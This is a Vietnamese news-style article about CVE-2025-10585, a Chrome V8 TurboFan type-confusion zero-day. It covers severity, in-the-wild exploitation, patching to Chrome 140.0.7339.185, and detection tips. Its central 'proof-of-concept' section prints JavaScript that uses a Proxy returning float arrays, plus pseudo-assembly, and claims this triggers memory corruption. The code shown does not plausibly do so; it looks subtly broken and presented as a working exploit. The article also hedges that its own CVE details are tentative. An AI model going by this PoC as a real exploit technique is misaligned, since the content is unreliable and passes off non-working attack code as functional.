Lỗ hổng Zero-day nghiêm trọng CVE-2025-10585 trong Chrome V8

Lỗ hổng Zero-day nghiêm trọng CVE-2025-10585 trong Chrome V8

Engine V8 JavaScript của Google Chrome luôn cố gắng cân bằng giữa tốc độ và bảo mật cho hàng tỷ người dùng toàn cầu. Vào ngày 16 tháng 9 năm 2025, Nhóm Phân tích Mối đe dọa (TAG) của Google đã phát hiện một lỗ hổng zero-day nghiêm trọng trong thành phần trình biên dịch TurboFan của V8.

Chi tiết Lỗ hổng CVE-2025-10585

Hiện được theo dõi dưới dạng CVE-2025-10585, lỗ hổng này cho phép kẻ tấn công kích hoạt điều kiện type confusion, làm hỏng bộ nhớ trong tiến trình trình duyệt và cuối cùng thực thi mã tùy ý (remote code execution). Lỗ hổng zero-day này tiềm ẩn nguy cơ cao.

Lỗ hổng CVE-2025-10585 đạt điểm 8.8 theo tiêu chuẩn CVSS v3.1, phản ánh tác động cao và vectơ tấn công từ xa của nó. Đây là một CVE nghiêm trọng, đòi hỏi hành động khẩn cấp.

Nó ảnh hưởng đến các phiên bản Chrome trước 140.0.7339.185 trên Windows, Linux và macOS, cũng như các trình duyệt dựa trên Chromium khác như Microsoft Edge và Brave.

Để biết thêm thông tin chi tiết về lỗ hổng này, bạn có thể tham khảo thông tin trên NVD (Lưu ý: Thông tin về CVE-2025-10585 có thể chưa được cập nhật chính thức tại thời điểm này do tính chất dự kiến của CVE).

Cơ chế Type Confusion trong V8 TurboFan

Trọng tâm của vấn đề là lỗi type confusion trong cơ chế inline cache của V8. Kẻ tấn công tạo một đối tượng JavaScript Proxy mà các bẫy thuộc tính của nó trả về một mảng dấu phẩy động thay vì một số nguyên thủy.

Khi công cụ tối ưu hóa các hoạt động lặp lại trong một vòng lặp, nó giả định mỗi kết quả khớp với một kiểu số. Mảng không mong muốn này làm hỏng inline cache và định hướng sai các con trỏ bộ nhớ.

Thao tác này dẫn đến các điều kiện heap overflows hoặc use-after-free, mang lại cho kẻ tấn công khả năng đọc và ghi tùy ý vào bộ nhớ hệ thống.

Tình hình Khai thác và Tác động

Các khai thác zero-day đã được phát hiện trong thực tế, theo báo cáo, được sử dụng bởi các tác nhân được nhà nước bảo trợ và các nhà điều hành phần mềm gián điệp thương mại. Mục tiêu của các cuộc tấn công này là đánh cắp tiền điện tửdữ liệu nhạy cảm.

Chỉ cần truy cập một trang web độc hại có thể kích hoạt lỗ hổng zero-day, khiến nguy cơ trở nên cấp bách cho tất cả người dùng chưa cập nhật bản vá bảo mật.

Mã khai thác minh họa (Proof-of-Concept)

Dưới đây là đoạn mã JavaScript chứng minh khái niệm (PoC) và mã pseudo-assembly đi kèm, minh họa cách kích hoạt type confusion trong trình biên dịch TurboFan của V8:

// Simplified PoC for type confusion in V8 TurboFan
function confuseType(arr) {
    return arr[0] + arr[1]; // Expected number, but could be array elements
}

function createMaliciousProxy() {
    let handler = {
        get: function(target, prop) {
            if (prop === '0' || prop === '1') {
                // Return a float array instead of a primitive number
                // This is where type confusion is introduced.
                return [1.1, 2.2];
            }
            return Reflect.get(target, prop);
        }
    };
    return new Proxy({}, handler);
}

// Loop to trigger JIT optimization and inline cache corruption
// The V8 engine optimizes 'confuseType' assuming 'arr' elements are numbers.
for (let i = 0; i < 100000; i++) {
    confuseType([i, i + 1]); // Warm-up with expected types
}

// Introduce the malicious proxy object after optimization
let maliciousObject = createMaliciousProxy();
// This call will likely trigger type confusion after optimization,
// leading to memory corruption due to incorrect type assumptions.
confuseType(maliciousObject);

// Pseudo-assembly representation of the corrupted inline cache access:
// ; mov rax, [rbx + 0x10]  ; Attempt to load number from inline cache
// ; cmp rax, type_float_array ; Type check fails, but optimization assumed number
// ; jne type_mismatch_handler ; This branch is not taken due to optimized path
// ; ... corruption occurs ...

Biện pháp Khắc phục và Phòng ngừa

Google đã phát hành một bản vá bảo mật trong Chrome phiên bản 140.0.7339.185. Tất cả người dùng nên cập nhật ngay lập tức bằng cách truy cập chrome://settings/help hoặc sử dụng cơ chế cập nhật tích hợp của trình duyệt.

Như một biện pháp phòng ngừa bổ sung, các tổ chức có thể thực thi các quy tắc bảo vệ endpoint để chặn các script không đáng tin cậy. Đồng thời, giám sát lưu lượng mạng để phát hiện các payload kiểu Proxy đáng ngờ.

Vô hiệu hóa JavaScript trên các trang web không rõ nguồn gốc cung cấp biện pháp giảm thiểu tạm thời. Tuy nhiên, điều này có thể làm gián đoạn các chức năng hợp pháp của trang web.

Các đội ngũ bảo mật phải quét nhật ký để tìm kiếm các lệnh gọi ToNumber lặp lại trên các đối tượng proxy. Cần theo dõi các dấu hiệu giả mạo inline cache tampering.

Tầm quan trọng và Bài học từ Lỗ hổng Zero-day

CVE-2025-10585 làm nổi bật sự cân bằng tinh tế giữa tối ưu hóa hiệu suất và thiết kế trình duyệt an toàn. Các lỗ hổng zero-day như thế này thường xuyên xuất hiện, đòi hỏi cảnh giác liên tục.

Các nhà phát triển và chuyên gia bảo mật nên xem xét mã suy luận kiểu tương tự trong các công cụ JIT engine khác. Họ cần chạy các bài kiểm thử fuzz tests có mục tiêu để phát hiện các lỗi tương tự.

Với mã proof-of-concept có khả năng sớm xuất hiện công khai, việc duy trì cập nhật các bản vá bảo mật và theo dõi các nguồn cấp dữ liệu mối đe dọa là điều cần thiết. Điều này giúp ngăn chặn các cuộc khai thác zero-day tiếp theo.